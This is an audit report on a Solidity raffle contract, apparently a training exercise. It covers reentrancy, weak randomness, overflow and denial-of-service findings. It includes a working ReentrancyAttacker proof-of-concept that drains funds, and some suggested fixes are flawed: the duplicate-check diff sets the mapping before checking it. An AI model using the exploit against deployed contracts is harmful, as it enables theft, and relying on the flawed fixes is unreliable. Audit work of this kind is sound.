GINTOKI

PuppyRaffle Audit Report

Version 1.0

Gintoki Sakata

August 31, 2025

PasswordStore Audit Report

Gintoki Sakata

August 31 , 2025

Prepared by: Gintoki Sakata

Table of Contents

    * [M-2] Smart Contract wallets raffles without a `receive` or `fallback` function will block the start of new contest
  - Gas Optimisation
    * [G-1] Storage variable in loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Gintoki Sakata makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by him is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

1. Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
2. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	0
Info	0
Gas Optimizations	1
Total	6

Findings

High

[H-1] Reentrancy attack In `PuppyRaffle::refund` function ,external call being made before updating state

Description: The `PuppyRaffle::refund` function updates the state of `PuppyRaffle::players` address after the external call is made , which causes a Potential Reentrancy Attack .

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

>        payable(msg.sender).sendValue(entranceFee);

        // @audit-e : Reentrancy.
        // here we first do interaction with blockchain and then change the state which may cause reentrancy
>        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: The attacker could set Up a reentrancy Attack against our PuppyRaffle Contract , by doing so - attacker can drain all the assets. Which may break our contract functionality severly.

Proof of Concept:

- 1. User enters the raffle.
- 2. Attacker sets up contract which externally calls`PuppyRaffle::refund` function.
- 3. Attacker enters raffle.
- 4. Attacker calls `PuppyRaffle::refund` before external state change, results in draining contract assets.

POC

```

function test_reentrancyRefund() public {
    // users entering raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
```

```
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // create attack contract and user
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        // noting starting balances
        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        // impact
        console.log("attackerContract balance: ", startingAttackContractBalance);
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
        console.log("ending attackerContract balance: ", address(attackerContract).balance);
        console.log("ending puppyRaffle balance: ", address(puppyRaffle).balance);
    }

    contract ReentrancyAttacker{
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor (PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() public payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value : entranceFee}(players);
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _StealMoney() internal {
            if(address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
```

```
        }
    }

    fallback() external payable {
        _StealMoney();
    }

    receive() external payable {
        _StealMoney();
    }
}
```

Recommended Mitigation: To Avoid Reentrancy Attack , make sure you CEI checks in `PuppyRaffle::refund` function , i.e. Changing state before any on chain Interaction.

Updated Code

```

    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or select winner

Description Hashing `msg.sender` , `block.timestamp` and `block.difficulty` together predicts the final number. Resulting in malicious user Manipulating the result by selecting their desired winner of the raffle themselves.

Impact Any user can influence the winner of raffle , which contradicts the functioning of randomness and random winner selection

Proof of Concept Validators can manipulate `block.timestamp` and `block.difficulty` to influence the winner.

Recommended Mitigation Consider using Cryptographically provable random number (RNG) Such as Chainlink VRF.

[H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees

Description In solidity versions prior to `0.8.0` integers were subject to interger overflow.

```
uint64 test = type(uint64).max;
//18446744073709551615
test += 1 ;
// it will round up to 0.
// panic: arithmetic underflow or overflow (0x11)
```

Impact In `PuppyRaffle::selectWinner` , `totalFees` are accumulated for `feesAddress` to collect later in `PuppyRaffle::withdrawFees`. However if `totalFees` variable overflows , the `feesAddress` may not collect correct amount of fees.

Proof of Concept

code

```
 function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
```

```

        // We are also unable to withdraw any fees because of the require check
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation There are few mitigations.

1. Use a newer version of Solidity.
2. Use `uint256` insted of `uint64` in `PuppyRaffle::totalFees`
3. Remove Balance check from `PuppyRaffle::withdrawFees`

```diff
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the players array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be lower than those who enter later.

```
// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){
     for(uint256 j = i+1; j< players.length; j++){
     require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
   }
}
```

Impact: The gas cost of the player entering the raffle early will be dramatically low than the player entering the raffle too later , making the gas cost for the player entering later much expensive .

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as follows :

- 1st 100 players: ~6252048 gas

- 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

```
    function testDOS() public {
        //set gas price
        vm.txGasPrice(1);

        // Create 100 addresses
        uint256 playerNum =100 ;
        address[] memory players = new address[](playerNum);
        for( uint i= 0 ; i < players.length ; i++){
            players[i] = address(i);
        }

        // Calculate and compare gas
        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value : entranceFee * players.length }(players);
        uint256 gasAfter = gasleft();
        uint256 gasUsedFirst = (gasBefore - gasAfter) * tx.gasprice ;
        console.log("Gas for first 100 players",gasUsedFirst);

        // Create another 100 addresses and compute Gas Cost for them
        address[] memory playersTwo = new address[](playerNum);
        for (uint i = 0 ; i < playersTwo.length ; i++){
            playersTwo[i] = address(i + playerNum);
        }

        uint256 gasBeforeTwo = gasleft();
        puppyRaffle.enterRaffle{value : entranceFee * playersTwo.length }(playersTwo);
        uint256 gasAfterTwo = gasleft();
        uint256 gasUsedSecond = (gasBeforeTwo - gasAfterTwo) * tx.gasprice;
        console.log("Gas fore second 100 players", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation:

Refactor `PuppyRaffle::entryPoint` function to Validate for duplicates using mapping(address => bool) — O(1) lookups. Consider using a mapping to check duplicates. This would allow you to check for duplicates.

```

+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
```

```
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

[M-2] Smart Contract wallets raffles without a `receive` or `fallback` function will block the start of new contest

Description The `PuppyRaffle::selectWinner` is reponsible for selecting a Winner and Resetting the Raffle. However if the winner is smart contract wallet which rejects payments , the lottery would not be able to reset.

Impact The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset difficult.

Proof of Concept

1. 10 smart contract wallets enters the raffle without fallback or receive functions
2. the lottery ends.

3. due to unavailable functions in smart contract wallet , lottery would not reset.

Recommended Mitigation Create a mapping of address -> payout so winners can pull their funds out themselves with `claimPrize` function, putting winner to claim their prize .

Gas Optimisation

[G-1] Storage variable in loop should be cached

Everytime you call `players.length` you read from storage instead of calling it from memory which is more gas efficient

```
+         uint256 playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playerLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playerLength; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```